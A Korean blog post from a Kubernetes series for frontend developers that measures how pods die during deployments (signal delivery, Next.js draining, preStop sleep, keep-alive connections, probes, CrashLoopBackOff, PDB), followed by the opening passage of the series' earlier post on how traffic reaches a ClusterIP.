이 타임라인에서 가장 중요한 사실은 순서가 아니라 **순서가 없다는 것**이다. 파드에 삭제가 걸리는 순간 두 갈래의 일이 서로를 기다리지 않고 동시에 출발한다. 한쪽에서는 kubelet이 컨테이너에 SIGTERM을 보내고, 다른 쪽에서는 EndpointSlice 컨트롤러가 명단을 고치고 kube-proxy가 각 노드의 규칙을 다시 쓴다. 3편에서 이 전파 구간(명단 갱신부터 규칙 반영까지)을 공식 SLI 메트릭으로 재서 평균 0.76초를 얻었는데, 이번 편의 관찰도 같은 1초 미만 범위에 들어왔다. 문제는 그 1초 미만조차 SIGTERM보다 늦다는 것이다. 앱은 이미 죽음을 통보받았는데, 라우팅은 아직 그 파드로 새 커넥션을 보낼 수 있는 짧은 창이 열린다.

3편에서 이름만 소개하고 미뤄 둔 EndpointSlice의 세 번째 조건도 여기서 회수된다. 종료가 시작된 엔드포인트는 명단에서 바로 사라지는 것이 아니라 `ready=false, serving=true, terminating=true`로 전환된다. 트래픽 대상에서는 빠졌지만(ready=false) 아직 응답은 할 수 있고(serving=true) 죽는 중(terminating=true)이라는, 임종의 상태 그 자체다.

## 사인 1: 신호는 왔지만 서버는 받지 못했다

첫 용의자는 [2편](/2026/08/k8s-for-frontend-2)의 서두에 나왔던 naive한 Dockerfile, 정확히는 그 마지막 줄 `CMD ["npm", "start"]`다. 이 이미지로 컨테이너를 띄우고 안을 들여다보면 프로세스가 하나가 아니다.

```text
$ docker exec naive-test ps -eo pid,ppid,comm,args
  PID  PPID COMMAND
    1     0 npm start
   18     1 sh -c next start
   19    18 next-server (v16.2.12)
```

PID 1이 npm이고, npm이 셸을 거쳐 진짜 서버(next-server)를 손자로 거느린다. 여기에 5초짜리 요청을 걸어 둔 채 SIGTERM을 보내면 이렇게 된다.

```text
$ docker kill -s TERM naive-test
inflight: http=000 curl_exit=52 (빈 응답, 1.5초 시점 절단)
container: exitCode=1, TERM 후 0.72초 만에 종료
npm error command failed
npm error signal SIGTERM
```

통설은 이 지점에서 "npm이 신호를 무시해 파드가 30초를 버티다 SIGKILL로 죽는다"고 말하는데, 적어도 이 환경(npm 11, Node 24)에서는 절반만 맞았다. npm은 신호를 무시하지 않는다. 오히려 반응이 지나치게 빨라서 문제였다. SIGTERM을 받은 npm은 0.7초 만에 에러 로그를 남기고 종료해 버리고, PID 1이 사라지면 컨테이너의 나머지 프로세스는 커널이 정리한다. 진행 중이던 5초짜리 요청은 1.5초 시점에 빈 응답으로 절단됐다. **서버는 SIGTERM을 받아 본 적도 없이, 자기 조상이 무너지면서 함께 쓰러진 것이다.** 드레인 코드가 있어도 실행될 기회 자체가 없다.

이 구성을 쿠버네티스에 올리고 배포를 6회 반복하면 클라이언트 양쪽 합계로 회당 4개에서 많게는 12개의 실패가 나오는데, 유형이 거의 전부 ECONNRESET(절단)이고 시각은 배포 창에 집중된다. 재미있는 부수 관찰도 있다. 리스너가 워낙 순식간에 사라져서, 우아하게 리스너를 닫는 구성보다 오히려 ECONNREFUSED는 드물다. 빨리 죽는 것과 곱게 죽는 것은 다른 문제다.

> **처방 노트**: 2편의 최종 Dockerfile이 이미 처방이다. `CMD ["node", "server.js"]`로 서버 프로세스가 직접 PID 1이 되게 한다. 신호가 서버에 닿는 것이 모든 드레인의 전제 조건이다.

## 무죄로 판명된 용의자: Next.js는 즉사하지 않는다

두 번째 용의자는 Next.js 자신이다. "standalone 서버는 SIGTERM을 받으면 in-flight 요청을 버리고 `process.exit(0)`으로 즉시 죽는다"는 이야기가 오래 돌았고, 실제로 [그렇게 동작하던 시절의 이슈](https://github.com/vercel/next.js/issues/38298)가 남아 있다. 그런데 지금 버전의 소스를 열어 보면 이야기가 다르다. Next.js 16.2.12의 `next/dist/server/lib/start-server.js`에 있는 종료 처리 원문이다.

```js
const cleanup = (signal) => {
  // ...(중복 신호 가드 생략)
  ;(async () => {
    // first, stop accepting new connections and finish pending requests,
    await new Promise((res) => {
      server.close((err) => {
        /* ... */ res()
      })
      if (isDev) {
        server.closeAllConnections()
        // ...
      }
    })
    // ...(nextServer.close와 트레이스 정리 생략)
    // Exit with signal-based exit code (128 + signal number) ...
    switch (signal) {
      case 'SIGINT':
        process.exit(130) // 이하 원문의 break 생략
      case 'SIGTERM':
        process.exit(143)
    }
  })()
}
// Make sure commands gracefully respect termination signals (e.g. from Docker)
if (!process.env.NEXT_MANUAL_SIG_HANDLE) {
  process.on('SIGINT', cleanup)
  process.on('SIGTERM', cleanup)
}
```

SIGTERM을 받으면 `server.close()`로 새 커넥션 수신을 멈추고 진행 중인 요청이 끝나기를 기다린 뒤, 신호 종료의 관례적 코드(128+15)인 143으로 내려간다. 실제로 도커에서 5초짜리 요청을 걸고 1초 시점에 SIGTERM을 보내 봤다. 요청은 5.07초에 200으로 완주했고, 컨테이너는 그 직후 exit 143으로 종료됐다. 드레인 중에 새로 들어간 요청만 거부됐다. 즉 **이 버전의 Next.js는 무죄다.** 신호만 제대로 닿으면 in-flight를 지키는 우아한 종료가 기본 내장이다.

다만 이 무죄 판결에는 흥미로운 각주가 두 개 붙는다. 첫째, 위 원문의 `closeAllConnections()`(열린 커넥션을 강제로 끊는 Node API)가 `isDev` 조건 안에 있다. 개발 서버만 커넥션을 강제로 끊고, 프로덕션은 `server.close()`의 의미론에 전적으로 의존한다는 뜻인데, 이 선택의 대가는 뒤의 인질 절에서 드러난다. 둘째, `NEXT_MANUAL_SIG_HANDLE` 환경변수를 켜면 이 핸들러 등록 자체를 건너뛴다. 예전 이슈 시절의 해법으로 아직도 블로그들에 이 변수가 돌아다니는데, 지금 이것을 켜고 자기 핸들러를 달지 않으면 어떻게 되는가.

여기서 컨테이너 특유의 규칙이 하나 등장한다. **PID 1 프로세스는 핸들러가 등록되지 않은 신호를 무시한다.** 일반 프로세스라면 SIGTERM의 기본 동작(종료)이 적용되지만, PID 1에게는 커널이 기본 동작을 적용하지 않는다. 실측으로 확인하면, `NEXT_MANUAL_SIG_HANDLE=true`만 켠 컨테이너는 SIGTERM을 보내도 아무 일도 일어나지 않고 계속 서빙하다가, 유예가 끝나면 SIGKILL을 받아 exit 137(128+9)로 죽는다. 쿠버네티스에서는 이것이 배포 시간으로 나타난다. 이 구성으로 배포를 3회 반복했더니 새 파드는 늦어도 8초 안에 다 떴는데 옛 파드가 사라지기까지는 매번 34~38초가 걸렸다. terminationGracePeriodSeconds 기본값 30초를 신호 무시로 다 태운 것이다. 통설의 "30초 형(刑)"의 진짜 주인공은 npm이 아니라 이쪽, 핸들러 없는 PID 1이었다.

> **처방 노트**: 처방이 "아무것도 하지 말 것"인 드문 경우다. `NEXT_MANUAL_SIG_HANDLE`은 직접 핸들러를 등록하겠다는 선언이므로, 등록할 것이 없다면 켜지 않는다. 기본값의 cleanup이 이미 드레인을 한다.

## 사인 2: 라우팅은 죽음을 늦게 안다

용의자 둘을 정리하고 나면 남는 의문이 있다. 신호도 잘 닿고(PID 1이 node) 드레인도 되는(Next 기본값) 구성에서 왜 여전히 ECONNREFUSED가 나는가. 답은 검안 절의 타임라인에 이미 있다. `server.close()`는 SIGTERM 즉시 리스너를 닫는데, 그 파드를 가리키는 각 노드의 DNAT 규칙은 1초 가까이 더 산다. 그 짧은 창에 라우팅을 타고 들어온 새 커넥션은 닫힌 리스너에 부딪혀 거부된다. 실측에서 REFUSED가 배포 직후 1~3초(파드들이 순차로 SIGTERM을 받는 구간)에만 몰려 있던 이유다.

이 문제의 교과서적 처방이 preStop 훅이다. 종료 신호를 보내기 전에 잠깐 기다리게 해서, 그 사이에 라우팅이 수렴하게 만드는 것이다. 예전에는 컨테이너 안에서 `sleep` 명령을 실행하는 식이라 이미지에 sleep 바이너리가 있어야 했지만, 쿠버네티스 v1.34부터 [네이티브 sleep 액션](https://kubernetes.io/docs/concepts/containers/container-lifecycle-hooks/)이 GA라 매니페스트만으로 된다. 몇 초로 할 것인가에는 이번 시리즈의 실측이 근거가 된다. 3편에서 잰 전파 지연이 평균 0.76초였으니, 여유를 곱해 3초로 걸었다.

```yaml
lifecycle:
  preStop:
    sleep:
      seconds: 3
```

효과는 5회 반복에서 재현성 있게 나왔다. **새 커넥션 실패가 5회 전부 0개다.** SIGTERM이 3초 미뤄지는 동안 파드는 평소처럼 서빙을 계속하고, 라우팅은 그 사이 조용히 수렴을 끝내서, 리스너가 닫히는 시점에는 이미 새 커넥션이 오지 않는다. 한 가지 유의할 것은 이 3초가 terminationGracePeriodSeconds 안에 포함된다는 점이다. sleep을 길게 잡으면 그만큼 드레인에 쓸 유예가 줄어든다.

> **처방 노트**: `lifecycle.preStop.sleep.seconds: 3` (v1.34+). 초수의 근거는 클러스터의 전파 지연 실측이다. "적당히 5초"가 아니라 SLI 메트릭(3편의 network programming latency)을 재서 정하는 쪽이 설명 가능하다.

## 사인 3: 바쁜 커넥션은 인질이 된다

여기까지의 처방으로 새 커넥션 쪽은 조용해졌는데, keep-alive 클라이언트의 ECONNRESET 3개(3레플리카에서 파드당 1개꼴)는 5회 반복에서 단 한 번도 줄지 않았다. 그리고 이 실패들의 시각이 사건의 성격을 폭로한다. 배포 창이 아니라 **배포 후 30~32초, 즉 grace 만료 시점**이다.

무슨 일이 벌어지는지 keep-alive 트래픽의 응답을 구간별로 갈라 보면 이렇다. 라우팅에서 진작 빠졌는데도(배포 후 8초부터 34초까지의 구간) 옛 파드들이 keep-alive 커넥션으로 요청을 계속 받아 각각 53~54개씩 처리하고 있었다. 3편에서 본 conntrack 고정 때문에 기존 커넥션은 라우팅 변경의 영향을 받지 않고 원래 파드로 계속 흐르는데, 그 파드의 `server.close()`는 이 커넥션들을 끊지 못하고 있었던 것이다. 그러다 34초 시점에 SIGKILL이 떨어지자 그 커넥션 위의 요청들이 RST로 절단됐다.

`server.close()`가 왜 못 끊는지는 Node의 의미론 문제라, 도커에서 소켓 하나짜리 대조 실험으로 확정했다. 유휴 상태의 keep-alive 소켓은 SIGTERM(즉 close 호출) 시점에 즉시 닫힌다. 그런데 그 순간 요청을 처리하던 소켓은 다르다.

```text
TERM 시점까지 처리: 2건
TERM 후 6초간 같은 소켓으로 추가 처리: 19건 (응답에 Connection: close도 실리지 않는다)
클라이언트가 요청을 멈추자: 그제야 드레인 완료, exit 143
```

**close()는 호출 순간에 유휴인 커넥션만 닫는다. 바쁜 커넥션은 이후로도 계속 요청을 받고, 서버는 그 커넥션이 스스로 쉬는 순간을 하염없이 기다린다.** 요청이 끊이지 않는 BFF 트래픽에서 그 순간은 오지 않으므로, 드레인은 영원히 끝나지 않고 grace 30초가 상한으로 작동해 SIGKILL이 마무리한다. 앞 절에서 본 `closeAllConnections()`가 dev 전용이라는 각주가 여기서 대가를 치른다. 프로덕션의 Next.js에는 이 인질극을 서버 쪽에서 끝낼 공식적인 수단이 없다.

검안 절의 파드 하나짜리 실험을 트래픽만 바꿔 반복하면 인질극의 전모가 표 하나에 들어온다.

| 같은 `delete pod`, 트래픽만 다르게 | 새 커넥션만            | keep-alive 재사용               |
| ---------------------------------- | ---------------------- | ------------------------------- |
| 파드 오브젝트 소멸                 | +1.6초                 | **+30.4초**                     |
| 죽는 동안 그 파드가 처리한 요청    | 0개 (라우팅 이탈 이후) | **61개** (마지막 200이 +29.1초) |
| 절단된 요청                        | 없음                   | +29.5초에 ECONNRESET            |
| 컨테이너 exit code                 | 143 (드레인 완료)      | **137** (grace 만료 SIGKILL)    |

같은 코드, 같은 설정, 같은 delete인데 클라이언트의 커넥션 습관 하나로 1.6초짜리 죽음과 30.4초짜리 죽음이 갈린다. 덧붙여 인질 구간의 kubelet 로그에는 readiness probe의 connection refused가 찍힌다. 리스너는 이미 닫혀 probe는 실패하는데 파드는 계속 응답 중인, 임종의 기묘한 상태다.

이 발견은 배포 시간에 대한 통념도 하나 부순다. 그레이스풀 셧다운이 멀쩡히 동작하는 구성(C)의 옛 파드 소진 시간이, 신호를 통째로 무시하는 구성(B)과 똑같이 33~34초였다. keep-alive 클라이언트가 있는 한 **"우아한 종료 = 빠른 종료"가 아니다.** 우아함은 in-flight를 지켜줄 뿐이고, 종료 시간은 인질 커넥션과 grace가 결정한다.

그러면 마지막 3개의 RESET은 누가 지우는가. 서버가 못 하니 남는 것은 클라이언트다. 그리고 이 시리즈의 전제에서 keep-alive 클라이언트란 남이 아니라 우리가 소유한 BFF다. 절단된 요청은 GET(멱등)이었으므로, 커넥션 수준 실패(ECONNRESET, ECONNREFUSED)에 한해 새 커넥션으로 한 번 다시 보내는 재시도를 클라이언트에 넣고 같은 실험을 5회 반복했다. **실패 0, 재시도로 흡수된 요청 1~3개.** 5회 전부다. 인질로 잡혀 있다 절단된 요청들이 새 커넥션을 타고 이미 떠 있는 새 파드에서 완주한 것이다. 흡수가 매회 3개(파드당 1개)가 아닌 것은 재시도의 부수 효과다. 첫 재시도가 커넥션 풀에 새 파드로 가는 커넥션을 만들면 남은 인질 소켓에 요청이 실릴 확률이 낮아지고, 마침 요청이 실려 있지 않은 채 절단된 소켓은 클라이언트에 에러를 남기지 않아 재시도할 것 자체가 없기 때문이다.

> **처방 노트**: 서버가 끝내지 못하는 커넥션 정리는 클라이언트의 몫이다. 멱등 요청에 한해 커넥션 수준 오류를 새 커넥션으로 1회 재시도한다. 비멱등 요청(POST 등)은 함부로 재시도하면 안 되므로, 애초에 오래 사는 커넥션의 수명을 제한하는 쪽(3편의 쏠림 완화책과 같은 방향)을 함께 검토한다.

## 처방을 겹치면 0이 된다

부검 결과를 모아 처방을 한 층씩 얹은 결과가 이 글의 최종 표다. 같은 조건(새 커넥션·keep-alive 클라이언트 동시, 회당 표본 각 350~414개. 단 A는 관찰 창이 짧아 회당 약 100개인데, A의 실패는 전부 배포 창 안에서 나므로 계수에는 영향이 없다)에서 시나리오별로 배포를 반복한 실패 집계다. 반복 열의 +1은 관찰 조건을 바꿔 추가로 돌린 보충 회차다(A는 옛 파드 소진 시간 실측용, C는 관찰 창을 300초로 늘린 장기 관찰).

| 구성 (누적)                       | 반복  | 새 커넥션 실패                  | keep-alive 실패           | 옛 파드 소진 |
| --------------------------------- | ----- | ------------------------------- | ------------------------- | ------------ |
| A. naive (`npm start`, 신호 미달) | 5+1회 | 0~7 (RESET 위주)                | 4~5 (거의 전부 RESET)     | 즉사 (~4초)  |
| B. 신호 무시 (핸들러 없는 PID 1)  | 3회   | 0                               | RESET 3                   | 34~38초      |
| C. 신호 전달 + Next 기본 드레인   | 4+1회 | REFUSED 1~4 (장기 관찰 1회는 6) | RESET 3 (+간헐 REFUSED 1) | 33~34초      |
| D. C + preStop sleep 3초          | 5회   | **0 (5회 전부)**                | RESET 3                   | 32~34초      |
| E. D + 클라이언트 멱등 재시도     | 5회   | **0**                           | **0** (재시도 흡수 1~3)   | 31~33초      |

읽는 축은 실패 유형이 계단마다 하나씩 사라지는 것이다. A에서 C로 가면 절단(RESET)의 대부분이 사라지고 수렴 창의 거부(REFUSED)가 남는다. D의 preStop이 그 거부를 지운다. 그래도 남는 인질 절단 3개는 E의 클라이언트 재시도가 흡수한다. 각 단계가 독립적인 스위치가 아니라 누적이라는 점도 중요하다. 신호가 서버에 닿지 않으면(A) 뒤의 어떤 처방도 실행될 기회가 없다.

한 가지 정직하게 적어 둘 것은 규모다. 이 실험의 실패는 배포당 한 자릿수, 표본의 1% 안팎이다. 문제는 크기가 아니라 성질이다. 이 실패들은 트래픽이 있는 한 배포마다 반드시 나고, 재현 조건이 "배포"라서 코드 리뷰로는 영원히 잡히지 않으며, 트래픽과 레플리카 수에 비례해 자란다. 그리고 계단이 보여주듯 전부 설정과 코드 몇 줄로 지울 수 있는 성질의 것이다.

## 쉬어가기: 가게 마감의 순서

여기까지의 종료 시퀀스를 비유 하나로 정리해 둔다. 잘 되는 식당의 마감을 생각하면 된다.

| 가게 마감                                   | 파드 종료                                     |
| ------------------------------------------- | --------------------------------------------- |
| 안내판을 "영업 종료"로 뒤집는다             | EndpointSlice `terminating=true` 전환         |
| 배달 앱들에서 가게가 내려간다 (앱마다 시차) | 각 노드의 iptables 규칙 갱신 (전파 ~1초)      |
| 주방에 마감 공지가 전달된다                 | SIGTERM                                       |
| 공지가 홀 매니저 선에서 사라지면            | PID 1이 신호를 삼키는 구성 (사인 1)           |
| 앉아 있는 손님은 식사를 마저 한다           | in-flight 드레인 (`server.close()`)           |
| 단골이 "한 그릇만 더"를 계속 외치면         | 바쁜 keep-alive 커넥션의 인질 드레인 (사인 3) |
| 마감 후 30분이 지나면 소등하고 문을 잠근다  | terminationGracePeriodSeconds 만료, SIGKILL   |

비유에서 챙길 것은 두 가지다. 배달 앱에서 내려가는 것(라우팅)과 주방 공지(신호)는 서로 다른 경로로 퍼지는 별개의 사건이라는 것, 그리고 소등 시간(grace)은 잔인한 장치가 아니라 "한 그릇만 더"가 끝나지 않을 때를 위한 상한이라는 것이다.

## 다른 죽음 1: 건강검진이 사람을 잡는다

배포 말고도 파드가 죽는 경로는 있다. 그중 실무에서 가장 아픈 것이 probe 오배선이다. 1편에서 liveness 실패는 재시작, readiness 실패는 트래픽 제외라고 표로 갈라 두었는데, 이 구분을 실측으로 확인했다. 같은 앱에 다운스트림(internal-api, 3편의 그 배포)까지 검사하는 "깊은" 헬스체크 `/api/health-deep`를 만들고, 한쪽 배포는 이것을 liveness에, 다른 쪽 배포는 readiness에 걸었다. 그리고 internal-api를 100초간 정지시켰다.

| 같은 100초의 다운스트림 장애 | liveness에 건 배포                             | readiness에 건 배포      |
| ---------------------------- | ---------------------------------------------- | ------------------------ |
| 컨테이너 재시작              | **4~5회**, CrashLoopBackOff 진입(back-off 40s) | 0회                      |
| 파드 상태                    | 재시작 반복으로 요동                           | NotReady (트래픽만 이탈) |
| 다운스트림 복구 후           | 백오프 대기를 거쳐 복귀                        | 즉시 Ready 복귀          |

앱 프로세스는 양쪽 다 시종일관 멀쩡했다는 것이 이 표의 핵심이다. 죽을 이유가 없는 프로세스가 이웃의 장애 때문에 15초(5초 간격 3연속 실패)마다 재시작 판정을 받았고, 재시작이 반복되자 다음 절의 백오프까지 걸려 복구가 더 느려졌다. 다운스트림 장애는 그 파드를 재시작한다고 낫지 않는다. liveness에는 프로세스 자신의 생존만, 의존성의 상태는 readiness에 거는 것이 이 실측의 결론이다.

> **처방 노트**: livenessProbe는 앱 자신만 보는 얕은 엔드포인트로. 의존성 검사가 필요하면 readinessProbe로 배선한다. 회복 스위치와 트래픽 스위치는 다른 회로다.

## 다른 죽음 2: 반복되는 죽음의 시간표

파드가 뜨자마자 죽기를 반복하면 kubelet은 재시작 간격을 지수적으로 벌린다. 1편에서 "10초에서 시작해 최대 5분"이라고 적었던 CrashLoopBackOff다. 시작하자마자 exit 1로 죽는 컨테이너를 13분간 관찰해 그 시간표를 실측했다.

```text
재시작 시각(상대): 0, 0, +13s, +40s, +86s, +172s, +337s, 이후 "back-off 5m0s"
(첫 크래시 직후 한 번은 즉시 재시작되고, 백오프는 그다음부터 걸린다)
간격 수열: 약 10 → 20 → 40 → 80 → 160 → 300초(상한) + 기동 오버헤드 3~7초
```

두 배씩 벌어져 5분에서 멈추는 교과서적 수열이 그대로 나왔다. 이 실측에는 판정의 의미도 있다. 기본 백오프를 초기 1초, 상한 1분으로 낮추는 [KEP-4603](https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/4603-tune-crashloopbackoff/README.md)이 진행 중이라 어느 버전부터 이 시간표가 달라질 수 있는데, 적어도 v1.36 기본값은 아직 10초/5분이다.

종료 코드 읽는 법도 이 자리에서 정리해 둘 만하다. 이 글의 실측에서만 네 가지가 나왔다.

| exit code | 뜻                             | 이 글에서 나온 장면                          |
| --------- | ------------------------------ | -------------------------------------------- |
| 0         | 정상 종료                      | (배포 중에는 오히려 보기 어렵다)             |
| 1         | 앱/래퍼의 에러 종료            | npm이 SIGTERM에 에러로 종료할 때 (사인 1)    |
| 143       | 128+15, SIGTERM 받고 자발 종료 | Next 드레인 완료의 정상 시그니처             |
| 137       | 128+9, SIGKILL로 강제 종료     | grace 소진(신호 무시·인질), 그리고 OOMKilled |

같은 137이라도 원인이 갈린다는 점이 함정이다. grace를 소진해 죽은 137과 메모리 초과로 죽은 137은 숫자가 같고, `kubectl describe`의 Reason(OOMKilled 여부)과 [사이징 글](/2026/08/nodejs-k8s-pod-sizing)에서 다룬 메모리 정황으로 구분한다.

## 몇 개까지 죽어도 되는가: 교체의 보폭과 PDB

지금까지는 파드 하나의 죽음을 봤다면, 마지막 질문은 무리의 관리다. 롤링 업데이트가 한 번에 몇 개를 죽이고 몇 개를 더 띄우는지는 Deployment의 maxSurge(정원 초과 허용량)와 maxUnavailable(결원 허용량)이 정한다. 3레플리카에서 두 극단을 실측으로 대조했다.

| 보폭 (3레플리카)             | 교체 중 Ready 파드 수 | 총 파드 수    | 완료까지 |
| ---------------------------- | --------------------- | ------------- | -------- |
| maxSurge=1, maxUnavailable=0 | **3 유지**            | 최대 4 (초과) | 3.4초    |
| maxSurge=0, maxUnavailable=1 | **2로 감소**          | 3 유지        | 3.3초    |

이 실험 환경은 파드 기동이 1초 안쪽이라 총 소요는 구분이 안 되지만, 관전 지점은 시간축이 아니라 수용량 곡선이다. 첫 행은 새 파드를 정원 초과로 먼저 띄우고 준비가 끝난 만큼만 옛 파드를 줄이므로 교체 내내 결원이 없다. 둘째 행은 정원을 넘지 않는 대신 교체 내내 3분의 1이 결원이다. 노드 자원이 빠듯해 정원 초과가 불가능한 환경이 아니라면, 사용자 대상 서비스에서 결원 없는 첫 행을 마다할 이유는 별로 없다고 생각한다. 참고로 앞 절들의 grace 소진 시나리오처럼 옛 파드가 30초씩 늘어져도 Ready 수와 진행 판정은 달라지지 않는다. 롤링 업데이트의 진행 판정은 새 파드의 readiness 기준이라 Terminating 파드는 정원 계산에서 이미 빠져 있고, 다만 그 파드들까지 세면 그 순간 떠 있는 파드 수 자체는 표의 숫자보다 많을 수 있다.

여기에 헷갈리기 쉬운 안전장치가 하나 더 있다. 1편에서 약속만 하고 미뤄 둔 PDB(PodDisruptionBudget)다. "동시에 내려가도 되는 파드 수의 한도"라는 정의 때문에 배포를 제어하는 장치로 오해되곤 하는데, 실측으로 경계를 확인했다. 3레플리카 전부를 요구하는(minAvailable: 3) PDB를 걸어 두고 세 가지 방법으로 파드를 내려 본 것이다. 이때 롤링 업데이트 쪽은 실험이 판별력을 갖도록 보폭을 일부러 maxSurge=0, maxUnavailable=1로 바꿔 뒀다. 앞 절의 결원 없는 보폭이라면 Ready가 3 밑으로 내려갈 일이 없어서, PDB가 배포에 적용되는지 여부와 무관하게 아무 일도 일어나지 않기 때문이다.

```text
# 1. eviction API (kubectl drain이 쓰는 경로)
$ kubectl create --raw /api/v1/namespaces/default/pods/graceful-lab-.../eviction -f eviction.json
Error from server (TooManyRequests): Cannot evict pod as it would
violate the pod's disruption budget.

# 2. delete
$ kubectl delete pod graceful-lab-...
pod "graceful-lab-..." deleted

# 3. 롤링 업데이트 (maxSurge=0, maxUnavailable=1: 교체 중 예산을 실제로 위반하는 보폭)
$ kubectl rollout restart deploy/graceful-lab
(교체 중 Ready가 2까지 내려가 minAvailable: 3을 위반하는데도, PDB가 막지 않고 그대로 완료된다)
```

eviction(노드 비우기, 드레인 같은 자발적 중단이 쓰는 API)만 거부되고, delete와 롤링 업데이트는 PDB를 그대로 통과한다. 특히 롤링 업데이트는 PDB가 요구하는 3을 깨고 Ready 2로 내려가면서도 멈추지 않았다. **PDB는 배포의 보폭과는 무관한, 관리 작업으로부터의 안전장치다.** 배포 중 동시 결원을 줄이는 것은 maxUnavailable의 일이고, 노드 교체 중 서비스가 통째로 비는 것을 막는 것이 PDB의 일이다.

> **처방 노트**: 사용자 대상 서비스라면 maxUnavailable: 0(결원 없이 교체)을 기본으로 검토하고, PDB는 노드 운영(드레인, 업그레이드)을 위해 별도로 건다. 둘은 겹치지 않는 보험이다.

## 최종 조립본

처방 노트들을 한곳에 모으면 이 글 전체가 파일 세 개로 압축된다. 각 줄의 출처 절을 주석으로 달았다.

```dockerfile
# Dockerfile (러너 스테이지)
ENV HOSTNAME=0.0.0.0        # 2편: 파드 IP 바인드 함정
CMD ["node", "server.js"]   # 사인 1: 서버가 직접 PID 1이 되어 신호를 받는다
# NEXT_MANUAL_SIG_HANDLE은 켜지 않는다 (무죄 판명 절: 기본 드레인이 동작하게)
```

```yaml
# Deployment 발췌
spec:
  strategy:
    rollingUpdate:
      maxSurge: 1
      maxUnavailable: 0 # 보폭 절: 결원 없이 교체
  template:
    spec:
      terminationGracePeriodSeconds: 30 # 인질 절: 드레인이 못 끝날 때의 상한 (preStop 포함)
      containers:
        - name: app
          lifecycle:
            preStop:
              sleep:
                seconds: 3 # 사인 2: 라우팅 수렴(실측 0.76s)을 기다린 뒤 SIGTERM
          readinessProbe:
            httpGet: {path: /api/health, port: 3000} # probe 절: 의존성 검사가 필요하면 이 probe를 별도의 깊은 경로로 바꾼다
          livenessProbe:
            httpGet: {path: /api/health, port: 3000} # probe 절: liveness는 앱 자신의 생존만. readiness에 깊은 검사를 얹는다면 이 경로와 반드시 분리한다
```

```js
// BFF의 내부 호출 (발췌): 사인 3의 인질 절단은 클라이언트만 지울 수 있다
// 멱등 요청 한정, 커넥션 수준 오류만 새 커넥션으로 1회 재시도
const RETRIABLE = new Set(['ECONNRESET', 'ECONNREFUSED', 'EPIPE'])
async function getWithRetry(url) {
  try {
    return await fetchOnce(url)
  } catch (e) {
    if (!RETRIABLE.has(e.cause?.code)) throw e
    return await fetchOnce(url, {freshConnection: true})
  }
}
```

## 정리: 죽음의 순서

부검 결과를 단서 순서대로 다시 적는다.

- **종료는 순서가 아니라 경주다.** SIGTERM과 라우팅 갱신은 서로를 기다리지 않고, EndpointSlice는 파드를 지우는 대신 `terminating=true`로 뒤집는다. 배포 중 에러의 뿌리가 이 경주다.
- **naive 이미지의 죄는 30초 형이 아니라 절단이었다.** npm은 SIGTERM에 0.7초 만에 트리를 데리고 무너지고, 서버는 신호를 받아 보지도 못한다. 반대로 핸들러 없는 PID 1은 신호를 무시해 30초를 태운다. 통설 둘이 실측에서 자리를 바꿨다.
- **Next.js 16은 무죄다.** SIGTERM에 `server.close()`로 드레인하고 143으로 내려가는 것이 기본값이다. 다만 커넥션 강제 종료는 dev 전용이라는 각주가 붙는다.
- **preStop sleep 3초가 수렴 창의 거부를 지웠다.** 초수의 근거는 3편의 전파 실측(평균 0.76초)이다.
- **바쁜 keep-alive 커넥션은 인질이 된다.** close()는 유휴 소켓만 닫고, 옛 파드는 라우팅에서 빠진 채 30초를 더 살며 파드당 53~54개의 요청을 처리하다 SIGKILL에 절단당했다. 우아한 종료여도 배포가 34초인 이유이자, 마지막 에러 3개를 클라이언트 재시도만이 지울 수 있는 이유다.
- **liveness 오배선은 멀쩡한 프로세스를 15초마다 재시작시킨다.** 의존성 장애 100초에 재시작 5회와 백오프가 쌓였고, readiness에 건 쪽은 트래픽만 이탈했다 즉시 복귀했다.
- **CrashLoopBackOff는 10→20→…→300초 수열이다(v1.36 기본).** KEP-4603이 이 시간표를 줄이는 중이고, 137은 Reason을 봐야 사인이 갈린다.
- **PDB는 배포와 무관하다.** eviction만 막고, delete는 물론 예산을 실제로 위반하며 진행되는 롤링 업데이트조차 통과시킨다. 배포의 결원은 maxUnavailable이, 관리 작업의 결원은 PDB가 맡는다.

이번 편으로 파드 하나의 생애는 탄생(2편), 트래픽(3편), 죽음(이 글)까지 이어졌다. 남은 것은 무리의 크기가 출렁이는 이야기다. 스케일 다운이 내리는 파드도 이 글의 종료 시퀀스를 그대로 타고, 스케일 아웃의 반대편에는 "새 파드가 첫 요청을 받기까지"라는 또 다른 시계가 있다. HPA는 그 시계를 얼마나 기다리게 만드는가. 다음 편인 [오토스케일링 편](/2026/08/k8s-for-frontend-5)에서 그 구간들을 스톱워치로 분해했다.

---

Source: https://yceffort.kr/2026/08/k8s-for-frontend-3.md
Title: <em>트래픽</em>은 어떻게 내 파드에 도착하는가: ClusterIP부터 port-forward까지
Description: Service의 ClusterIP는 어느 기계에도 붙어 있지 않은 IP인데 curl은 어떻게 닿는가. iptables 규칙과 conntrack, EndpointSlice, 클러스터 DNS의 ndots, Gateway, port-forward까지, 요청이 파드에 도착하는 경로 전체를 kind 클러스터에서 직접 열어본 기록이다. 프론트엔드 개발자를 위한 쿠버네티스 시리즈의 세 번째 편이다.
Date: 2026-08-06
Tags: kubernetes, networking, nextjs, nodejs, frontend
Series: 프론트엔드 개발자가 알아야 할 쿠버네티스

## Table of Contents

## 수수께끼를 여는데, 실험 환경이 거짓말을 한다

[2편](/2026/08/k8s-for-frontend-2)의 마지막 문장에서 약속을 하나 했다. `kubectl get svc`가 보여주는 ClusterIP는 ping도 받지 않는 이상한 IP인데, 어떻게 트래픽이 그리로 흘러 들어가는지 직접 열어서 확인하겠다는 것이었다. 그 약속을 지키러 클러스터 안에 디버그 파드를 하나 띄우고, 우리 Service의 ClusterIP인 10.96.35.226부터 확인했다.

```bash
$ kubectl exec debug -- curl -s http://10.96.35.226/api/health
{"ok":true,"pod":"k8s-fe-lab-5cfb6b8744-qppld"}
```

curl은 잘 된다. 응답에 파드 이름까지 실려 온다. 이제 약속했던 ping이다. 1편에 어떤 기계나 프로세스에도 붙어 있지 않아 ping도 받지 않는 가상 주소라고 적어 두었으니, 실패하는 장면을 확인하면 된다.

```bash
$ kubectl exec debug -- ping -c 3 10.96.35.226
64 bytes from 10.96.35.226: seq=0 ttl=62 time=0.203 ms
64 bytes from 10.96.35.226: seq=1 ttl=62 time=0.506 ms
64 bytes from 10.96.35.226: seq=2 ttl=62 time=0.716 ms
3 packets transmitted, 3 packets received, 0% packet loss
```

